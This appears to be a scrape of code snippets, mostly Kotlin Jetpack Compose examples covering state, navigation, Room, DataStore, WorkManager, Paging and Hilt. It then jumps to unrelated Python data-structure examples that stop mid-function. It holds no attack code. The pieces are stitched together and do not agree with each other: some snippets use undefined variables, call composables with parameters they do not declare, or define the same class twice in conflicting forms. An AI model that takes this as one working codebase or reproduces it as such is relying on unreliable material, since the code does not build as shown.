@Composable
fun LocationScreen() {
    val lifecycleOwner = LocalLifecycleOwner.current

    DisposableEffect(lifecycleOwner) {
        val observer = LifecycleEventObserver { _, event ->
            when (event) {
                Lifecycle.Event.ON_START -> {
                    // Start location updates
                }
                Lifecycle.Event.ON_STOP -> {
                    // Stop location updates
                }
                else -> {}
            }
        }

        lifecycleOwner.lifecycle.addObserver(observer)

        onDispose {
            lifecycleOwner.lifecycle.removeObserver(observer)
        }
    }
}

class SavedStateViewModel(
    private val savedStateHandle: SavedStateHandle
) : ViewModel() {
    // Automatically saved and restored
    var searchQuery: String
        get() = savedStateHandle.get<String>("search_query") ?: ""
        set(value) {
            savedStateHandle["search_query"] = value
        }

    // For StateFlow with SavedStateHandle
    val queryFlow: StateFlow<String> = savedStateHandle.getStateFlow("search_query", "")

    fun updateQuery(query: String) {
        savedStateHandle["search_query"] = query
    }
}

// build.gradle.kts
dependencies {
    val composeBom = platform("androidx.compose:compose-bom:2024.02.00")
    implementation(composeBom)

    implementation("androidx.compose.ui:ui")
    implementation("androidx.compose.ui:ui-tooling-preview")
    implementation("androidx.compose.material3:material3")
    implementation("androidx.activity:activity-compose:1.8.2")

    debugImplementation("androidx.compose.ui:ui-tooling")
}

@Composable
fun Greeting(name: String, modifier: Modifier = Modifier) {
    Text(
        text = "Hello, $name!",
        modifier = modifier.padding(16.dp),
        style = MaterialTheme.typography.headlineMedium
    )
}

@Composable
fun UserCard(user: User, onClick: () -> Unit) {
    Card(
        modifier = Modifier
            .fillMaxWidth()
            .padding(8.dp)
            .clickable { onClick() },
        elevation = CardDefaults.cardElevation(defaultElevation = 4.dp)
    ) {
        Row(
            modifier = Modifier.padding(16.dp),
            verticalAlignment = Alignment.CenterVertically
        ) {
            // Avatar
            Box(
                modifier = Modifier
                    .size(48.dp)
                    .background(MaterialTheme.colorScheme.primary, CircleShape),
                contentAlignment = Alignment.Center
            ) {
                Text(
                    text = user.name.first().toString(),
                    color = MaterialTheme.colorScheme.onPrimary,
                    style = MaterialTheme.typography.titleLarge
                )
            }

            Spacer(modifier = Modifier.width(16.dp))

            // User info
            Column {
                Text(
                    text = user.name,
                    style = MaterialTheme.typography.bodyLarge
                )
                Text(
                    text = user.email,
                    style = MaterialTheme.typography.bodyMedium,
                    color = MaterialTheme.colorScheme.onSurfaceVariant
                )
            }
        }
    }
}

@Preview(showBackground = true)
@Composable
fun UserCardPreview() {
    MaterialTheme {
        UserCard(
            user = User("1", "John Doe", "john@example.com"),
            onClick = {}
        )
    }
}

@Composable
fun Counter() {
    // State survives recomposition but NOT configuration changes
    var count by remember { mutableStateOf(0) }

    // State survives both recomposition AND configuration changes
    var savedCount by rememberSaveable { mutableStateOf(0) }

    Column {
        Text("Count: $count")
        Button(onClick = { count++ }) {
            Text("Increment")
        }

        Text("Saved Count: $savedCount")
        Button(onClick = { savedCount++ }) {
            Text("Increment Saved")
        }
    }
}

// Stateless composable - reusable and testable
@Composable
fun SearchBar(
    query: String,
    onQueryChange: (String) -> Unit,
    modifier: Modifier = Modifier
) {
    TextField(
        value = query,
        onValueChange = onQueryChange,
        modifier = modifier.fillMaxWidth(),
        placeholder = { Text("Search...") },
        leadingIcon = { Icon(Icons.Default.Search, contentDescription = null) }
    )
}

// Stateful wrapper
@Composable
fun SearchScreen() {
    var searchQuery by rememberSaveable { mutableStateOf("") }
    var searchResults by remember { mutableStateOf<List<User>>(emptyList()) }

    Column {
        SearchBar(
            query = searchQuery,
            onQueryChange = {
                searchQuery = it
                // Perform search
            }
        )

        LazyColumn {
            items(searchResults) { user ->
                UserCard(user = user, onClick = {})
            }
        }
    }
}

@Composable
fun AnalyticsScreen(screenName: String) {
    // LaunchedEffect: Run suspend functions tied to composable lifecycle
    LaunchedEffect(screenName) {
        // Called when screenName changes
        analytics.logScreenView(screenName)
    }

    // DisposableEffect: Clean up when key changes or composable leaves composition
    DisposableEffect(Unit) {
        val listener = setupListener()
        onDispose {
            listener.remove()
        }
    }

    // SideEffect: Publish Compose state to non-Compose code
    SideEffect {
        // Called after every successful recomposition
        nonComposeObject.state = currentState
    }
}

@Composable
fun DataLoader(viewModel: DataViewModel) {
    val data by viewModel.data.collectAsStateWithLifecycle()

    // LaunchedEffect with proper cancellation
    LaunchedEffect(Unit) {
        viewModel.loadData()
    }

    DataDisplay(data)
}

@Composable
fun LayoutExamples() {
    // Column: Vertical arrangement
    Column(
        modifier = Modifier.fillMaxSize(),
        verticalArrangement = Arrangement.spacedBy(8.dp),
        horizontalAlignment = Alignment.CenterHorizontally
    ) {
        Text("Item 1")
        Text("Item 2")
        Text("Item 3")
    }

    // Row: Horizontal arrangement
    Row(
        modifier = Modifier.fillMaxWidth(),
        horizontalArrangement = Arrangement.SpaceBetween,
        verticalAlignment = Alignment.CenterVertically
    ) {
        Icon(Icons.Default.Home, contentDescription = null)
        Text("Home")
        Icon(Icons.Default.KeyboardArrowRight, contentDescription = null)
    }

    // Box: Stack elements
    Box(modifier = Modifier.fillMaxSize()) {
        Image(
            painter = painterResource(R.drawable.background),
            contentDescription = null,
            modifier = Modifier.fillMaxSize()
        )
        Text(
            text = "Overlay Text",
            modifier = Modifier.align(Alignment.Center),
            color = Color.White
        )
    }
}

@Composable
fun UserList(users: List<User>, onUserClick: (User) -> Unit) {
    LazyColumn(
        modifier = Modifier.fillMaxSize(),
        contentPadding = PaddingValues(16.dp),
        verticalArrangement = Arrangement.spacedBy(8.dp)
    ) {
        items(
            items = users,
            key = { it.id } // Important for efficient recomposition
        ) { user ->
            UserCard(user = user, onClick = { onUserClick(user) })
        }
    }
}

@Composable
fun CategoryList(categories: List<Category>) {
    LazyRow(
        horizontalArrangement = Arrangement.spacedBy(12.dp),
        contentPadding = PaddingValues(horizontal = 16.dp)
    ) {
        items(categories) { category ->
            CategoryChip(category)
        }
    }
}

@Composable
fun PhotoGrid(photos: List<Photo>) {
    LazyVerticalGrid(
        columns = GridCells.Adaptive(minSize = 128.dp),
        contentPadding = PaddingValues(16.dp),
        horizontalArrangement = Arrangement.spacedBy(8.dp),
        verticalArrangement = Arrangement.spacedBy(8.dp)
    ) {
        items(photos, key = { it.id }) { photo ->
            AsyncImage(
                model = photo.url,
                contentDescription = photo.description,
                modifier = Modifier
                    .aspectRatio(1f)
                    .clip(RoundedCornerShape(8.dp)),
                contentScale = ContentScale.Crop
            )
        }
    }
}

@OptIn(ExperimentalMaterial3Api::class)
@Composable
fun HomeScreen(navController: NavController) {
    var selectedItem by remember { mutableStateOf(0) }

    Scaffold(
        topBar = {
            TopAppBar(
                title = { Text("My App") },
                actions = {
                    IconButton(onClick = { /* Search */ }) {
                        Icon(Icons.Default.Search, contentDescription = "Search")
                    }
                }
            )
        },
        bottomBar = {
            NavigationBar {
                NavigationBarItem(
                    icon = { Icon(Icons.Default.Home, contentDescription = null) },
                    label = { Text("Home") },
                    selected = selectedItem == 0,
                    onClick = { selectedItem = 0 }
                )
                NavigationBarItem(
                    icon = { Icon(Icons.Default.Person, contentDescription = null) },
                    label = { Text("Profile") },
                    selected = selectedItem == 1,
                    onClick = { selectedItem = 1 }
                )
            }
        },
        floatingActionButton = {
            FloatingActionButton(onClick = { /* Add item */ }) {
                Icon(Icons.Default.Add, contentDescription = "Add")
            }
        }
    ) { paddingValues ->
        // Content
        Box(modifier = Modifier.padding(paddingValues)) {
            when (selectedItem) {
                0 -> HomeContent()
                1 -> ProfileContent()
            }
        }
    }
}

// build.gradle.kts
dependencies {
    implementation("androidx.navigation:navigation-compose:2.7.7")
}

sealed class Screen(val route: String) {
    object Home : Screen("home")
    object Details : Screen("details/{userId}") {
        fun createRoute(userId: String) = "details/$userId"
    }
    object Settings : Screen("settings")
}

@Composable
fun AppNavigation() {
    val navController = rememberNavController()

    NavHost(
        navController = navController,
        startDestination = Screen.Home.route
    ) {
        composable(Screen.Home.route) {
            HomeScreen(
                onUserClick = { userId ->
                    navController.navigate(Screen.Details.createRoute(userId))
                }
            )
        }

        composable(
            route = Screen.Details.route,
            arguments = listOf(
                navArgument("userId") { type = NavType.StringType }
            )
        ) { backStackEntry ->
            val userId = backStackEntry.arguments?.getString("userId")
            DetailsScreen(
                userId = userId,
                onNavigateBack = { navController.popBackStack() }
            )
        }

        composable(Screen.Settings.route) {
            SettingsScreen()
        }
    }
}

@Composable
fun DetailsScreen(
    userId: String?,
    viewModel: DetailsViewModel = viewModel(
        factory = DetailsViewModel.Factory(userId ?: "")
    )
) {
    val user by viewModel.user.collectAsStateWithLifecycle()

    user?.let {
        UserDetails(user = it)
    }
}

@Composable
fun MainScreen() {
    val navController = rememberNavController()
    var selectedTab by remember { mutableStateOf(0) }

    Scaffold(
        bottomBar = {
            NavigationBar {
                NavigationBarItem(
                    selected = selectedTab == 0,
                    onClick = {
                        selectedTab = 0
                        navController.navigate(Screen.Home.route) {
                            popUpTo(navController.graph.startDestinationId)
                            launchSingleTop = true
                        }
                    },
                    icon = { Icon(Icons.Default.Home, contentDescription = null) },
                    label = { Text("Home") }
                )
                NavigationBarItem(
                    selected = selectedTab == 1,
                    onClick = {
                        selectedTab = 1
                        navController.navigate(Screen.Settings.route) {
                            popUpTo(navController.graph.startDestinationId)
                            launchSingleTop = true
                        }
                    },
                    icon = { Icon(Icons.Default.Settings, contentDescription = null) },
                    label = { Text("Settings") }
                )
            }
        }
    ) { paddingValues ->
        NavHost(
            navController = navController,
            startDestination = Screen.Home.route,
            modifier = Modifier.padding(paddingValues)
        ) {
            composable(Screen.Home.route) { HomeScreen() }
            composable(Screen.Settings.route) { SettingsScreen() }
        }
    }
}

// ui/theme/Color.kt
val md_theme_light_primary = Color(0xFF6750A4)
val md_theme_light_onPrimary = Color(0xFFFFFFFF)
val md_theme_light_primaryContainer = Color(0xFFEADDFF)
// ... more colors

val md_theme_dark_primary = Color(0xFFD0BCFF)
val md_theme_dark_onPrimary = Color(0xFF381E72)
// ... more colors

// ui/theme/Theme.kt
private val LightColorScheme = lightColorScheme(
    primary = md_theme_light_primary,
    onPrimary = md_theme_light_onPrimary,
    primaryContainer = md_theme_light_primaryContainer,
    // ... more colors
)

private val DarkColorScheme = darkColorScheme(
    primary = md_theme_dark_primary,
    onPrimary = md_theme_dark_onPrimary,
    // ... more colors
)

@Composable
fun MyAppTheme(
    darkTheme: Boolean = isSystemInDarkTheme(),
    dynamicColor: Boolean = true, // Android 12+
    content: @Composable () -> Unit
) {
    val colorScheme = when {
        dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
            val context = LocalContext.current
            if (darkTheme) dynamicDarkColorScheme(context)
            else dynamicLightColorScheme(context)
        }
        darkTheme -> DarkColorScheme
        else -> LightColorScheme
    }

    MaterialTheme(
        colorScheme = colorScheme,
        typography = Typography,
        content = content
    )
}

// ui/theme/Type.kt
val Typography = Typography(
    displayLarge = TextStyle(
        fontFamily = FontFamily.Default,
        fontWeight = FontWeight.Normal,
        fontSize = 57.sp,
        lineHeight = 64.sp,
        letterSpacing = (-0.25).sp
    ),
    headlineMedium = TextStyle(
        fontFamily = FontFamily.Default,
        fontWeight = FontWeight.Bold,
        fontSize = 28.sp,
        lineHeight = 36.sp
    ),
    bodyLarge = TextStyle(
        fontFamily = FontFamily.Default,
        fontWeight = FontWeight.Normal,
        fontSize = 16.sp,
        lineHeight = 24.sp,
        letterSpacing = 0.5.sp
    )
)

@Composable
fun AnimatedCounter(count: Int) {
    // Animate size changes
    Text(
        text = count.toString(),
        modifier = Modifier.animateContentSize(),
        style = MaterialTheme.typography.displayLarge
    )
}

@Composable
fun ExpandableCard(expanded: Boolean, onToggle: () -> Unit) {
    Card(
        modifier = Modifier
            .fillMaxWidth()
            .animateContentSize() // Smooth size transition
    ) {
        Column(modifier = Modifier.padding(16.dp)) {
            Row(
                modifier = Modifier.clickable { onToggle() },
                verticalAlignment = Alignment.CenterVertically
            ) {
                Text("Header", modifier = Modifier.weight(1f))
                Icon(
                    imageVector = if (expanded) Icons.Default.KeyboardArrowUp
                                  else Icons.Default.KeyboardArrowDown,
                    contentDescription = null,
                    modifier = Modifier.rotate(
                        animateFloatAsState(if (expanded) 180f else 0f).value
                    )
                )
            }

            AnimatedVisibility(visible = expanded) {
                Text(
                    "Expandable content goes here...",
                    modifier = Modifier.padding(top = 8.dp)
                )
            }
        }
    }
}

@Composable
fun FadeInOutButton(visible: Boolean) {
    AnimatedVisibility(
        visible = visible,
        enter = fadeIn(animationSpec = tween(300)) + slideInVertically(),
        exit = fadeOut(animationSpec = tween(300)) + slideOutVertically()
    ) {
        Button(onClick = {}) {
            Text("Click Me")
        }
    }
}

class MyFragment : Fragment() {
    override fun onCreateView(
        inflater: LayoutInflater,
        container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View {
        return ComposeView(requireContext()).apply {
            setContent {
                MyAppTheme {
                    MyComposableScreen()
                }
            }
        }
    }
}

@Composable
fun AndroidViewExample() {
    AndroidView(
        factory = { context ->
            // Create and return the View
            TextView(context).apply {
                text = "This is a traditional View"
                textSize = 18f
            }
        },
        update = { view ->
            // Update the view
            view.text = "Updated text"
        }
    )
}

// build.gradle.kts
plugins {
    id("com.google.devtools.ksp") version "1.9.22-1.0.17"
}

dependencies {
    implementation("androidx.room:room-runtime:2.6.1")
    implementation("androidx.room:room-ktx:2.6.1")
    ksp("androidx.room:room-compiler:2.6.1")
}

@Entity(tableName = "users")
data class UserEntity(
    @PrimaryKey val id: String,
    @ColumnInfo(name = "name") val name: String,
    @ColumnInfo(name = "email") val email: String,
    @ColumnInfo(name = "created_at") val createdAt: Long = System.currentTimeMillis()
)

@Entity(
    tableName = "posts",
    foreignKeys = [
        ForeignKey(
            entity = UserEntity::class,
            parentColumns = ["id"],
            childColumns = ["user_id"],
            onDelete = ForeignKey.CASCADE
        )
    ],
    indices = [Index(value = ["user_id"])]
)
data class PostEntity(
    @PrimaryKey(autoGenerate = true) val id: Long = 0,
    @ColumnInfo(name = "user_id") val userId: String,
    @ColumnInfo(name = "title") val title: String,
    @ColumnInfo(name = "content") val content: String
)

@Dao
interface UserDao {
    @Query("SELECT * FROM users")
    fun getAllUsers(): Flow<List<UserEntity>>

    @Query("SELECT * FROM users WHERE id = :userId")
    suspend fun getUserById(userId: String): UserEntity?

    @Insert(onConflict = OnConflictStrategy.REPLACE)
    suspend fun insertUser(user: UserEntity)

    @Insert(onConflict = OnConflictStrategy.REPLACE)
    suspend fun insertUsers(users: List<UserEntity>)

    @Update
    suspend fun updateUser(user: UserEntity)

    @Delete
    suspend fun deleteUser(user: UserEntity)

    @Query("DELETE FROM users WHERE id = :userId")
    suspend fun deleteUserById(userId: String)

    // Relation query
    @Transaction
    @Query("SELECT * FROM users WHERE id = :userId")
    suspend fun getUserWithPosts(userId: String): UserWithPosts?
}

data class UserWithPosts(
    @Embedded val user: UserEntity,
    @Relation(
        parentColumn = "id",
        entityColumn = "user_id"
    )
    val posts: List<PostEntity>
)

@Database(
    entities = [UserEntity::class, PostEntity::class],
    version = 2,
    exportSchema = true
)
abstract class AppDatabase : RoomDatabase() {
    abstract fun userDao(): UserDao
    abstract fun postDao(): PostDao

    companion object {
        @Volatile
        private var INSTANCE: AppDatabase? = null

        fun getInstance(context: Context): AppDatabase {
            return INSTANCE ?: synchronized(this) {
                val instance = Room.databaseBuilder(
                    context.applicationContext,
                    AppDatabase::class.java,
                    "app_database"
                )
                    .addMigrations(MIGRATION_1_2)
                    .build()
                INSTANCE = instance
                instance
            }
        }

        private val MIGRATION_1_2 = object : Migration(1, 2) {
            override fun migrate(database: SupportSQLiteDatabase) {
                database.execSQL(
                    "ALTER TABLE users ADD COLUMN created_at INTEGER NOT NULL DEFAULT 0"
                )
            }
        }
    }
}

class UserRepository(private val userDao: UserDao) {
    val allUsers: Flow<List<User>> = userDao.getAllUsers()
        .map { entities -> entities.map { it.toUser() } }

    suspend fun getUserById(userId: String): User? {
        return userDao.getUserById(userId)?.toUser()
    }

    suspend fun insertUser(user: User) {
        userDao.insertUser(user.toEntity())
    }

    suspend fun deleteUser(userId: String) {
        userDao.deleteUserById(userId)
    }
}

// Extension functions for mapping
fun UserEntity.toUser() = User(id, name, email)
fun User.toEntity() = UserEntity(id, name, email)

// build.gradle.kts
dependencies {
    implementation("androidx.datastore:datastore-preferences:1.0.0")
    // For Proto DataStore
    implementation("androidx.datastore:datastore:1.0.0")
}

// Create DataStore
val Context.dataStore: DataStore<Preferences> by preferencesDataStore(name = "settings")

// Keys
object PreferencesKeys {
    val THEME_MODE = stringPreferencesKey("theme_mode")
    val NOTIFICATIONS_ENABLED = booleanPreferencesKey("notifications_enabled")
    val USER_NAME = stringPreferencesKey("user_name")
}

// Settings Manager
class SettingsManager(private val dataStore: DataStore<Preferences>) {
    val themeMode: Flow<String> = dataStore.data
        .map { preferences ->
            preferences[PreferencesKeys.THEME_MODE] ?: "system"
        }

    val notificationsEnabled: Flow<Boolean> = dataStore.data
        .map { preferences ->
            preferences[PreferencesKeys.NOTIFICATIONS_ENABLED] ?: true
        }

    suspend fun setThemeMode(mode: String) {
        dataStore.edit { preferences ->
            preferences[PreferencesKeys.THEME_MODE] = mode
        }
    }

    suspend fun setNotificationsEnabled(enabled: Boolean) {
        dataStore.edit { preferences ->
            preferences[PreferencesKeys.NOTIFICATIONS_ENABLED] = enabled
        }
    }
}

// Usage in Compose
@Composable
fun SettingsScreen(settingsManager: SettingsManager) {
    val themeMode by settingsManager.themeMode.collectAsStateWithLifecycle(initialValue = "system")
    val notificationsEnabled by settingsManager.notificationsEnabled
        .collectAsStateWithLifecycle(initialValue = true)

    Column {
        // Theme selector
        DropdownMenu(
            expanded = showThemeMenu,
            onDismissRequest = { showThemeMenu = false }
        ) {
            listOf("light", "dark", "system").forEach { mode ->
                DropdownMenuItem(
                    text = { Text(mode.capitalize()) },
                    onClick = {
                        coroutineScope.launch {
                            settingsManager.setThemeMode(mode)
                        }
                        showThemeMenu = false
                    }
                )
            }
        }

        // Notifications toggle
        Row(
            modifier = Modifier.fillMaxWidth(),
            horizontalArrangement = Arrangement.SpaceBetween
        ) {
            Text("Notifications")
            Switch(
                checked = notificationsEnabled,
                onCheckedChange = { enabled ->
                    coroutineScope.launch {
                        settingsManager.setNotificationsEnabled(enabled)
                    }
                }
            )
        }
    }
}

// build.gradle.kts
dependencies {
    implementation("androidx.work:work-runtime-ktx:2.9.0")
}

class DataSyncWorker(
    context: Context,
    params: WorkerParameters
) : CoroutineWorker(context, params) {

    override suspend fun doWork(): Result {
        return try {
            // Get input data
            val userId = inputData.getString("user_id") ?: return Result.failure()

            // Perform work
            val repository = (applicationContext as MyApplication).repository
            repository.syncUserData(userId)

            // Set progress
            setProgress(workDataOf("progress" to 50))

            // Return success with output data
            val outputData = workDataOf("sync_time" to System.currentTimeMillis())
            Result.success(outputData)
        } catch (e: Exception) {
            // Retry if it's a temporary issue
            if (runAttemptCount < 3) {
                Result.retry()
            } else {
                Result.failure()
            }
        }
    }
}

class WorkScheduler(private val workManager: WorkManager) {

    // One-time work
    fun scheduleDataSync(userId: String) {
        val inputData = workDataOf("user_id" to userId)

        val constraints = Constraints.Builder()
            .setRequiredNetworkType(NetworkType.CONNECTED)
            .setRequiresBatteryNotLow(true)
            .build()

        val syncRequest = OneTimeWorkRequestBuilder<DataSyncWorker>()
            .setInputData(inputData)
            .setConstraints(constraints)
            .setBackoffCriteria(
                BackoffPolicy.EXPONENTIAL,
                Duration.ofMinutes(1)
            )
            .build()

        workManager.enqueueUniqueWork(
            "data_sync_$userId",
            ExistingWorkPolicy.REPLACE,
            syncRequest
        )
    }

    // Periodic work
    fun schedulePeriodicSync() {
        val syncRequest = PeriodicWorkRequestBuilder<DataSyncWorker>(
            repeatInterval = 15,
            repeatIntervalTimeUnit = TimeUnit.MINUTES,
            flexTimeInterval = 5,
            flexTimeIntervalUnit = TimeUnit.MINUTES
        )
            .setConstraints(
                Constraints.Builder()
                    .setRequiredNetworkType(NetworkType.CONNECTED)
                    .build()
            )
            .build()

        workManager.enqueueUniquePeriodicWork(
            "periodic_sync",
            ExistingPeriodicWorkPolicy.KEEP,
            syncRequest
        )
    }

    // Work chaining
    fun scheduleDataPipeline() {
        val fetchWork = OneTimeWorkRequestBuilder<FetchDataWorker>().build()
        val processWork = OneTimeWorkRequestBuilder<ProcessDataWorker>().build()
        val uploadWork = OneTimeWorkRequestBuilder<UploadDataWorker>().build()

        workManager.beginWith(fetchWork)
            .then(processWork)
            .then(uploadWork)
            .enqueue()
    }
}

@Composable
fun WorkProgressScreen(workManager: WorkManager, workId: UUID) {
    val workInfo by workManager.getWorkInfoByIdFlow(workId)
        .collectAsStateWithLifecycle(initialValue = null)

    workInfo?.let { info ->
        when (info.state) {
            WorkInfo.State.ENQUEUED -> Text("Work enqueued")
            WorkInfo.State.RUNNING -> {
                val progress = info.progress.getInt("progress", 0)
                LinearProgressIndicator(progress = progress / 100f)
            }
            WorkInfo.State.SUCCEEDED -> {
                val syncTime = info.outputData.getLong("sync_time", 0)
                Text("Sync completed at ${Date(syncTime)}")
            }
            WorkInfo.State.FAILED -> Text("Work failed")
            WorkInfo.State.CANCELLED -> Text("Work cancelled")
            else -> {}
        }
    }
}

// build.gradle.kts
dependencies {
    implementation("androidx.paging:paging-runtime:3.2.1")
    implementation("androidx.paging:paging-compose:3.2.1")
}

class UserPagingSource(
    private val api: ApiService
) : PagingSource<Int, User>() {

    override suspend fun load(params: LoadParams<Int>): LoadResult<Int, User> {
        return try {
            val page = params.key ?: 1
            val response = api.getUsers(page = page, pageSize = params.loadSize)

            LoadResult.Page(
                data = response.users,
                prevKey = if (page == 1) null else page - 1,
                nextKey = if (response.users.isEmpty()) null else page + 1
            )
        } catch (e: Exception) {
            LoadResult.Error(e)
        }
    }

    override fun getRefreshKey(state: PagingState<Int, User>): Int? {
        return state.anchorPosition?.let { anchorPosition ->
            state.closestPageToPosition(anchorPosition)?.prevKey?.plus(1)
                ?: state.closestPageToPosition(anchorPosition)?.nextKey?.minus(1)
        }
    }
}

class UserRepository(private val api: ApiService) {
    fun getUsersPager(): Flow<PagingData<User>> {
        return Pager(
            config = PagingConfig(
                pageSize = 20,
                enablePlaceholders = false,
                prefetchDistance = 5
            ),
            pagingSourceFactory = { UserPagingSource(api) }
        ).flow
    }
}

@Composable
fun UserListScreen(viewModel: UserViewModel = viewModel()) {
    val userPagingItems = viewModel.usersPager.collectAsLazyPagingItems()

    LazyColumn {
        items(
            count = userPagingItems.itemCount,
            key = userPagingItems.itemKey { it.id }
        ) { index ->
            val user = userPagingItems[index]
            user?.let {
                UserCard(user = it, onClick = {})
            }
        }

        // Loading state
        userPagingItems.apply {
            when {
                loadState.refresh is LoadState.Loading -> {
                    item {
                        Box(
                            modifier = Modifier.fillMaxSize(),
                            contentAlignment = Alignment.Center
                        ) {
                            CircularProgressIndicator()
                        }
                    }
                }
                loadState.append is LoadState.Loading -> {
                    item {
                        CircularProgressIndicator(
                            modifier = Modifier
                                .fillMaxWidth()
                                .padding(16.dp)
                        )
                    }
                }
                loadState.refresh is LoadState.Error -> {
                    val error = (loadState.refresh as LoadState.Error).error
                    item {
                        ErrorView(
                            message = error.message ?: "Unknown error",
                            onRetry = { userPagingItems.retry() }
                        )
                    }
                }
            }
        }
    }
}

// build.gradle.kts (project)
plugins {
    id("com.google.dagger.hilt.android") version "2.50" apply false
}

// build.gradle.kts (app)
plugins {
    id("com.google.dagger.hilt.android")
    id("com.google.devtools.ksp")
}

dependencies {
    implementation("com.google.dagger:hilt-android:2.50")
    ksp("com.google.dagger:hilt-compiler:2.50")
    implementation("androidx.hilt:hilt-navigation-compose:1.1.0")
}

@HiltAndroidApp
class MyApplication : Application()

@AndroidEntryPoint
class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContent {
            MyAppTheme {
                AppNavigation()
            }
        }
    }
}

@Module
@InstallIn(SingletonComponent::class)
object AppModule {

    @Provides
    @Singleton
    fun provideAppDatabase(@ApplicationContext context: Context): AppDatabase {
        return AppDatabase.getInstance(context)
    }

    @Provides
    fun provideUserDao(database: AppDatabase): UserDao {
        return database.userDao()
    }

    @Provides
    @Singleton
    fun provideRetrofit(): Retrofit {
        return Retrofit.Builder()
            .baseUrl("https://api.example.com")
            .addConverterFactory(GsonConverterFactory.create())
            .build()
    }

    @Provides
    @Singleton
    fun provideApiService(retrofit: Retrofit): ApiService {
        return retrofit.create(ApiService::class.java)
    }
}

@Module
@InstallIn(SingletonComponent::class)
abstract class RepositoryModule {

    @Binds
    @Singleton
    abstract fun bindUserRepository(
        userRepositoryImpl: UserRepositoryImpl
    ): UserRepository
}

@HiltViewModel
class UserViewModel @Inject constructor(
    private val repository: UserRepository,
    private val savedStateHandle: SavedStateHandle
) : ViewModel() {

    val users = repository.getAllUsers()
        .stateIn(
            scope = viewModelScope,
            started = SharingStarted.WhileSubscribed(5000),
            initialValue = emptyList()
        )

    fun addUser(user: User) {
        viewModelScope.launch {
            repository.insertUser(user)
        }
    }
}

// Usage in Compose
@Composable
fun UserScreen(
    viewModel: UserViewModel = hiltViewModel()
) {
    val users by viewModel.users.collectAsStateWithLifecycle()
    UserList(users = users)
}

// UI State
sealed interface UiState<out T> {
    object Loading : UiState<Nothing>
    data class Success<T>(val data: T) : UiState<T>
    data class Error(val message: String) : UiState<Nothing>
}

// ViewModel
@HiltViewModel
class ProductsViewModel @Inject constructor(
    private val repository: ProductRepository
) : ViewModel() {

    private val _uiState = MutableStateFlow<UiState<List<Product>>>(UiState.Loading)
    val uiState: StateFlow<UiState<List<Product>>> = _uiState.asStateFlow()

    init {
        loadProducts()
    }

    fun loadProducts() {
        viewModelScope.launch {
            _uiState.value = UiState.Loading
            try {
                repository.getProducts().collect { products ->
                    _uiState.value = UiState.Success(products)
                }
            } catch (e: Exception) {
                _uiState.value = UiState.Error(e.message ?: "Unknown error")
            }
        }
    }
}

// Composable
@Composable
fun ProductsScreen(viewModel: ProductsViewModel = hiltViewModel()) {
    val uiState by viewModel.uiState.collectAsStateWithLifecycle()

    when (uiState) {
        is UiState.Loading -> LoadingView()
        is UiState.Success -> ProductList((uiState as UiState.Success).data)
        is UiState.Error -> ErrorView((uiState as UiState.Error).message)
    }
}

interface ProductRepository {
    fun getProducts(): Flow<List<Product>>
    suspend fun getProductById(id: String): Product?
    suspend fun refreshProducts()
}

class ProductRepositoryImpl @Inject constructor(
    private val api: ApiService,
    private val dao: ProductDao,
    private val ioDispatcher: CoroutineDispatcher = Dispatchers.IO
) : ProductRepository {

    override fun getProducts(): Flow<List<Product>> {
        return dao.getAllProducts()
            .map { entities -> entities.map { it.toDomain() } }
            .flowOn(ioDispatcher)
    }

    override suspend fun getProductById(id: String): Product? {
        return withContext(ioDispatcher) {
            dao.getProductById(id)?.toDomain()
        }
    }

    override suspend fun refreshProducts() {
        withContext(ioDispatcher) {
            try {
                val products = api.getProducts()
                dao.insertAll(products.map { it.toEntity() })
            } catch (e: Exception) {
                // Handle error
                throw e
            }
        }
    }
}

@OptIn(ExperimentalMaterial3Api::class)
@Composable
fun RefreshableScreen(viewModel: MyViewModel = hiltViewModel()) {
    val uiState by viewModel.uiState.collectAsStateWithLifecycle()
    val isRefreshing = uiState is UiState.Loading
    val pullRefreshState = rememberPullToRefreshState()

    if (pullRefreshState.isRefreshing) {
        LaunchedEffect(Unit) {
            viewModel.refresh()
        }
    }

    LaunchedEffect(isRefreshing) {
        if (!isRefreshing) {
            pullRefreshState.endRefresh()
        }
    }

    Box(modifier = Modifier.nestedScroll(pullRefreshState.nestedScrollConnection)) {
        LazyColumn {
            // Content
        }

        PullToRefreshContainer(
            state = pullRefreshState,
            modifier = Modifier.align(Alignment.TopCenter)
        )
    }
}

# Array operations
arr = [1, 2, 3, 4, 5]

# Access - $O(1)$
element = arr[2]  # 3

# Insert at end - $O(1)$ amortized
arr.append(6)

# Insert at position - $O(n)$
arr.insert(2, 10)

# Delete - $O(n)$
arr.remove(10)

# Search - $O(n)$
if 4 in arr:
    print("Found")

# 2D Array
matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
]

# Access element
value = matrix[1][2]  # 6

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class LinkedList:
    def __init__(self):
        self.head = None

    def insert_at_beginning(self, data):
        new_node = Node(data)
        new_node.next = self.head
        self.head = new_node

    def insert_at_end(self, data):
        new_node = Node(data)

        if not self.head:
            self.head = new_node
            return

        current = self.head
        while current.next:
            current = current.next
        current.next = new_node

    def delete(self, key):
        current = self.head

        # Delete head
        if current and current.data == key:
            self.head = current.next
            return

        # Delete other node
        prev = None
        while current and current.data != key:
            prev = current
            current = current.next

        if current:
            prev.next = current.next

    def search(self, key):
        current = self.head
        while current:
            if current.data == key:
                return True
            current = current.next
        return False

    def display(self):
        elements = []
        current = self.head
        while current:
            elements.append(current.data)
            current = current.next
        return elements

class Stack:
    def __init__(self):
        self.items = []

    def push(self, item):
        """Add item to top - $O(1)$"""
        self.items.append(item)

    def pop(self):
        """Remove and return top item - $O(1)$"""
        if not self.is_empty():
            return self.items.pop()
        raise IndexError("Stack is empty")

    def peek(self):
        """Return top item without removing - $O(1)$"""
        if not self.is_empty():
            return self.items[-1]
        raise IndexError("Stack is empty")

    def is_empty(self):
        """Check if stack is empty - $O(1)$"""
        return len(self.items) == 0

    def size(self):
        """Return number of items - $O(1)$"""
        return len(self.items)

# Usage
stack = Stack()
stack.push(1)
stack.push(2)
stack.push(3)
print(stack.pop())    # 3
print(stack.peek())   # 2

# Applications
def is_balanced(expression):
    """Check if parentheses are balanced"""
    stack = []
    opening = "([{"
    closing = ")]}"
    pairs = {"(": ")", "[": "]", "{": "}"}

    for char in expression:
        if char in opening:
            stack.append(char)
        elif char in closing:
